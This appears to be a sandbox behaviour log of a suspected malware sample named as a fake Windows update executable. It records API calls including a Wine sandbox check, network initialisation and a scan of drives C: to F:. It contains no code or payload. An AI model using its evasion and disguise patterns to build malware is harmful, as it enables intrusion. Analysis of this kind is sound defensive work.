# Flog Txt Version 1
# Analyzer Version: 3.2.2
# Analyzer Build Date: Jun  3 2020 08:38:37
# Log Creation Date: 28.12.2020 17:00:54.497

Process:
	id = "1"
	image_name = "%allusersprofile%microsoftwindowsstart menuprogramsstartupwindows-update-cve-wfw.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\%allusersprofile%microsoftwindowsstart menuprogramsstartupwindows-update-cve-wfw.exe"
	page_root = "0x13555000"
	os_pid = "0x110c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x560"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\%ALLUSERSPROFILE%microsoftwindowsstart menuprogramsstartupwindows-update-cve-wfw.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x1110

	[0045.029] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffce9120000
	[0045.029] GetProcAddress (hModule=0x7ffce9120000, lpProcName="AddDllDirectory") returned 0x7ffce6922300
	[0045.029] GetProcAddress (hModule=0x7ffce9120000, lpProcName="AddVectoredContinueHandler") returned 0x7ffcea410620
	[0045.029] GetProcAddress (hModule=0x7ffce9120000, lpProcName="LoadLibraryExA") returned 0x7ffce913dfc0
	[0045.029] GetProcAddress (hModule=0x7ffce9120000, lpProcName="LoadLibraryExW") returned 0x7ffce9138f20
	[0045.029] LoadLibraryExA (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffce91d0000
	[0047.477] GetProcAddress (hModule=0x7ffce91d0000, lpProcName="SystemFunction036") returned 0x7ffce6261970
	[0047.603] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffcea380000
	[0047.603] GetProcAddress (hModule=0x7ffcea380000, lpProcName="NtWaitForSingleObject") returned 0x7ffcea425410
	[0047.603] GetProcAddress (hModule=0x7ffcea380000, lpProcName="NtQueryInformationProcess") returned 0x7ffcea4256b0
	[0047.603] LoadLibraryExA (lpLibFileName="winmm.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffce4d00000
	[0048.861] GetProcAddress (hModule=0x7ffce4d00000, lpProcName="timeBeginPeriod") returned 0x7ffce4d01040
	[0048.861] GetProcAddress (hModule=0x7ffce4d00000, lpProcName="timeEndPeriod") returned 0x7ffce4d028e0
	[0048.861] LoadLibraryExA (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffcea310000
	[0049.327] GetProcAddress (hModule=0x7ffcea310000, lpProcName="WSAGetOverlappedResult") returned 0x7ffcea323de0
	[0049.327] GetProcAddress (hModule=0x7ffcea380000, lpProcName="wine_get_version") returned 0x0
	[0049.327] SetErrorMode (uMode=0x2) returned 0x0
	[0049.327] SetErrorMode (uMode=0x8003) returned 0x2
	[0049.328] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x929980) returned 0x1619f3a2ef0
	[0049.328] RtlAddVectoredContinueHandler (First=0x1, Handler=0x9299a0) returned 0x1619f3a3160
	[0049.328] RtlAddVectoredContinueHandler (First=0x0, Handler=0x9299c0) returned 0x1619f3a3220
	[0049.329] SetConsoleCtrlHandler (HandlerRoutine=0x9299e0, Add=1) returned 1
	[0049.329] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0049.330] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x92fbffa48, lpSystemAffinityMask=0x92fbffa40 | out: lpProcessAffinityMask=0x92fbffa48, lpSystemAffinityMask=0x92fbffa40) returned 1
	[0049.330] GetSystemInfo (in: lpSystemInfo=0x92fbffab0 | out: lpSystemInfo=0x92fbffab0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) 
	[0049.331] SetProcessPriorityBoost (hProcess=0xffffffffffffffff, bDisablePriorityBoost=1) returned 1
	[0049.334] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x1619f340000
	[0049.334] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x1619f560000
	[0049.335] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x1619f610000
	[0049.335] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0x1619f710000
	[0049.335] VirtualAlloc (lpAddress=0x0, dwSize=0x4000000, flAllocationType=0x2000, flProtect=0x4) returned 0x1619ff10000
	[0049.338] VirtualAlloc (lpAddress=0x0, dwSize=0x20000000, flAllocationType=0x2000, flProtect=0x4) returned 0x161a3f10000
	[0049.387] SystemFunction036 (in: RandomBuffer=0xb943b0, RandomBufferLength=0x8 | out: RandomBuffer=0xb943b0) returned 1
	[0049.387] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000000000
	[0049.388] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x3000, flProtect=0x4) returned 0x161c3f10000
	[0049.389] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x1619f580000
	[0049.389] VirtualAlloc (lpAddress=0x1619f560000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1619f560000
	[0049.405] VirtualAlloc (lpAddress=0x1619f690000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1619f690000
	[0049.405] VirtualAlloc (lpAddress=0x1619fb16000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1619fb16000
	[0049.405] VirtualAlloc (lpAddress=0x161a1f40000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x161a1f40000
	[0049.405] VirtualAlloc (lpAddress=0x161b4090000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x161b4090000
	[0049.406] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x161c4710000
	[0049.410] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x1619f380000
	[0049.411] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x1619f5b0000
	[0049.411] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000000000
	[0049.412] VirtualAlloc (lpAddress=0xc000002000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000002000
	[0049.412] SystemFunction036 (in: RandomBuffer=0xb94800, RandomBufferLength=0x80 | out: RandomBuffer=0xb94800) returned 1
	[0049.412] VirtualAlloc (lpAddress=0xc000004000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000004000
	[0049.412] VirtualAlloc (lpAddress=0xc000006000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000006000
	[0049.414] GetEnvironmentStringsW () returned 0x1619f3a3590*
	[0049.414] VirtualAlloc (lpAddress=0xc000008000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000008000
	[0049.414] VirtualAlloc (lpAddress=0xc00000a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000a000
	[0049.414] VirtualAlloc (lpAddress=0xc00000c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000c000
	[0049.415] VirtualAlloc (lpAddress=0xc00000e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000e000
	[0049.415] VirtualAlloc (lpAddress=0xc000010000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000010000
	[0049.415] VirtualAlloc (lpAddress=0xc000012000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000012000
	[0049.415] VirtualAlloc (lpAddress=0xc000014000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000014000
	[0049.415] VirtualAlloc (lpAddress=0xc000016000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000016000
	[0049.416] FreeEnvironmentStringsW (penv=0x1619f3a3590) returned 1
	[0049.416] LoadLibraryExA (lpLibFileName="powrprof.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffce6830000
	[0049.715] GetProcAddress (hModule=0x7ffce6830000, lpProcName="PowerRegisterSuspendResumeNotification") returned 0x7ffce6832240
	[0049.716] PowerRegisterSuspendResumeNotification (in: Flags=0x2, Recipient=0x92fbff9e0, RegistrationHandle=0x92fbff9c8 | out: RegistrationHandle=0x92fbff9c8) returned 0x0
	[0049.717] VirtualAlloc (lpAddress=0xc000018000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000018000
	[0049.719] VirtualAlloc (lpAddress=0xc000022000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000022000
	[0049.719] VirtualAlloc (lpAddress=0xc000024000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000024000
	[0049.720] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92fbffa38, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92fbffa38*=0xd0) returned 1
	[0049.720] VirtualQuery (in: lpAddress=0x92fbffa58, lpBuffer=0x92fbffa58, dwLength=0x30 | out: lpBuffer=0x92fbffa58*(BaseAddress=0x92fbff000, AllocationBase=0x92fa00000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0049.720] VirtualAlloc (lpAddress=0xc00002c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002c000
	[0049.720] VirtualAlloc (lpAddress=0xc00002e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002e000
	[0049.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x929bc0, lpParameter=0xc00002c400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4
	[0049.721] CloseHandle (hObject=0xd4) returned 1
	[0049.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x929bc0, lpParameter=0xc00002c800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4
	[0049.722] CloseHandle (hObject=0xd4) returned 1
	[0049.723] VirtualAlloc (lpAddress=0xc000030000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000030000
	[0049.724] VirtualAlloc (lpAddress=0xc000038000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000038000
	[0049.724] VirtualAlloc (lpAddress=0xc00003a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003a000
	[0049.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x929bc0, lpParameter=0xc00002cc00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4
	[0049.725] CloseHandle (hObject=0xd4) returned 1
	[0049.725] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd4
	[0049.725] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xd8
	[0049.725] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0049.749] VirtualAlloc (lpAddress=0xc000086000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000086000
	[0049.750] VirtualAlloc (lpAddress=0xc000088000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000088000
	[0049.751] VirtualAlloc (lpAddress=0xc00008a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008a000
	[0049.751] VirtualAlloc (lpAddress=0xc00008c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008c000
	[0049.751] VirtualAlloc (lpAddress=0xc00008e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008e000
	[0049.751] VirtualAlloc (lpAddress=0xc000090000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000090000
	[0049.752] VirtualAlloc (lpAddress=0xc000092000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000092000
	[0049.752] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffce9120000
	[0049.752] VirtualAlloc (lpAddress=0xc000094000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000094000
	[0049.752] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetStdHandle") returned 0x7ffce913beb0
	[0049.752] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0049.752] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetHandleInformation") returned 0x7ffce9141ed0
	[0049.752] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0049.753] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0049.753] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0049.753] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0049.753] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0049.753] VirtualAlloc (lpAddress=0xc000096000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000096000
	[0049.753] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetSystemDirectoryW") returned 0x7ffce9138ca0
	[0049.753] GetSystemDirectoryW (in: lpBuffer=0xc000096000, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0049.753] VirtualAlloc (lpAddress=0xc000098000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000098000
	[0049.753] VirtualAlloc (lpAddress=0xc00009a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009a000
	[0049.753] VirtualAlloc (lpAddress=0xc00009c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009c000
	[0049.754] VirtualAlloc (lpAddress=0xc00009e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009e000
	[0049.754] VirtualAlloc (lpAddress=0xc0000a0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a0000
	[0049.754] VirtualAlloc (lpAddress=0xc0000a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a4000
	[0049.754] VirtualAlloc (lpAddress=0xc0000a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a6000
	[0049.755] VirtualAlloc (lpAddress=0xc0000a8000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000a8000
	[0049.756] VirtualAlloc (lpAddress=0xc0000b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b6000
	[0049.756] VirtualAlloc (lpAddress=0xc0000b8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000b8000
	[0049.756] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffcea310000
	[0049.756] GetProcAddress (hModule=0x7ffcea310000, lpProcName="WSAStartup") returned 0x7ffcea311710
	[0049.756] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc000029d20 | out: lpWSAData=0xc000029d20) returned 0
	[0049.760] VirtualAlloc (lpAddress=0xc0000ba000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ba000
	[0049.760] VirtualAlloc (lpAddress=0xc0000ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ca000
	[0049.761] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetFileCompletionNotificationModes") returned 0x7ffce913bfd0
	[0049.761] GetProcAddress (hModule=0x7ffcea310000, lpProcName="WSAEnumProtocolsW") returned 0x7ffcea327910
	[0049.761] WSAEnumProtocolsW (in: lpiProtocols=0xc0000c4e68, lpProtocolBuffer=0xc0000c4e70, lpdwBufferLength=0xc0000c4e64 | out: lpProtocolBuffer=0xc0000c4e70, lpdwBufferLength=0xc0000c4e64) returned 4
	[0050.483] SetEvent (hEvent=0x120) returned 1
	[0050.484] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetConsoleMode") returned 0x7ffce9142850
	[0050.484] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0000c9e6c | out: lpMode=0xc0000c9e6c) returned 0
	[0050.484] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetFileType") returned 0x7ffce9142350
	[0050.484] GetFileType (hFile=0x0) returned 0x0
	[0050.484] VirtualAlloc (lpAddress=0xc0000cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000cc000
	[0050.484] VirtualAlloc (lpAddress=0xc0000ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ce000
	[0050.484] SetEvent (hEvent=0xfc) returned 1
	[0050.484] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0000c9e6c | out: lpMode=0xc0000c9e6c) returned 0
	[0050.484] GetFileType (hFile=0x0) returned 0x0
	[0050.484] GetConsoleMode (in: hConsoleHandle=0x0, lpMode=0xc0000c9e6c | out: lpMode=0xc0000c9e6c) returned 0
	[0050.484] GetFileType (hFile=0x0) returned 0x0
	[0050.485] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetCommandLineW") returned 0x7ffce913dbe0
	[0050.485] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\%ALLUSERSPROFILE%microsoftwindowsstart menuprogramsstartupwindows-update-cve-wfw.exe\" "
	[0050.485] VirtualAlloc (lpAddress=0xc0000d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d0000
	[0050.485] VirtualAlloc (lpAddress=0xc0000d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d2000
	[0050.485] VirtualAlloc (lpAddress=0xc0000d4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d4000
	[0050.485] VirtualAlloc (lpAddress=0xc0000d6000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d6000
	[0050.486] VirtualAlloc (lpAddress=0xc0000da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000da000
	[0050.486] VirtualAlloc (lpAddress=0xc0000dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000dc000
	[0050.486] VirtualAlloc (lpAddress=0xc0000de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000de000
	[0050.487] VirtualAlloc (lpAddress=0xc0000e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e0000
	[0050.487] VirtualAlloc (lpAddress=0xc0000e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e2000
	[0050.487] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetEnvironmentVariableW") returned 0x7ffce913b350
	[0050.487] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc0000e2000, nSize=0x64 | out: lpBuffer="") returned 0x0
	[0050.487] VirtualAlloc (lpAddress=0xc0000e4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e4000
	[0050.488] VirtualAlloc (lpAddress=0xc0000e6000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e6000
	[0050.488] VirtualAlloc (lpAddress=0xc0000ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ea000
	[0050.488] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffce9120000
	[0050.488] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetStdHandle") returned 0x7ffce913beb0
	[0050.488] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0050.489] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetHandleInformation") returned 0x7ffce9141ed0
	[0050.489] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0050.489] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0050.489] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0050.489] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0050.489] SetHandleInformation (hObject=0x0, dwMask=0x1, dwFlags=0x0) returned 0
	[0050.489] VirtualAlloc (lpAddress=0xc0000ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ec000
	[0050.489] VirtualAlloc (lpAddress=0xc0000ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ee000
	[0050.489] VirtualAlloc (lpAddress=0xc0000f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f0000
	[0050.489] VirtualAlloc (lpAddress=0xc0000f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f2000
	[0050.490] VirtualAlloc (lpAddress=0xc0000f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f4000
	[0050.490] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0xc0000e20d0, nSize=0x64 | out: lpBuffer="C:") returned 0x2
	[0050.490] VirtualAlloc (lpAddress=0xc0000f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f6000
	[0050.490] VirtualAlloc (lpAddress=0xc0000f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f8000
	[0050.490] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffce9120000
	[0050.491] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetModuleFileNameW") returned 0x7ffce913bfa0
	[0050.491] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc0000f6000, nSize=0x400 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\%ALLUSERSPROFILE%microsoftwindowsstart menuprogramsstartupwindows-update-cve-wfw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\%allusersprofile%microsoftwindowsstart menuprogramsstartupwindows-update-cve-wfw.exe")) returned 0x6c
	[0050.491] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CreateFileW") returned 0x7ffce9142100
	[0050.491] CreateFileW (lpFileName="C:\\" (normalized: "c:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.491] GetProcAddress (hModule=0x7ffce9120000, lpProcName="FindFirstFileW") returned 0x7ffce91421e0
	[0050.491] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x1619f39df20
	[0050.498] CreateFileW (lpFileName="A:\\" (normalized: "a:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.498] FindFirstFileW (in: lpFileName="A:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.503] CreateFileW (lpFileName="B:\\" (normalized: "b:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.503] FindFirstFileW (in: lpFileName="B:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.507] CreateFileW (lpFileName="D:\\" (normalized: "d:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.507] FindFirstFileW (in: lpFileName="D:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.512] CreateFileW (lpFileName="E:\\" (normalized: "e:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.512] FindFirstFileW (in: lpFileName="E:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0050.516] CreateFileW (lpFileName="F:\\" (normalized: "f:"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.519] VirtualAlloc (lpAddress=0xc000100000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000100000
	[0050.520] VirtualAlloc (lpAddress=0xc000102000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000102000
	[0050.520] FindFirstFileW (in: lpFileName="F:\\*", lpFindFileData=0xc0000c9a28 | out: lpFindFileData=0xc0000c9a28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
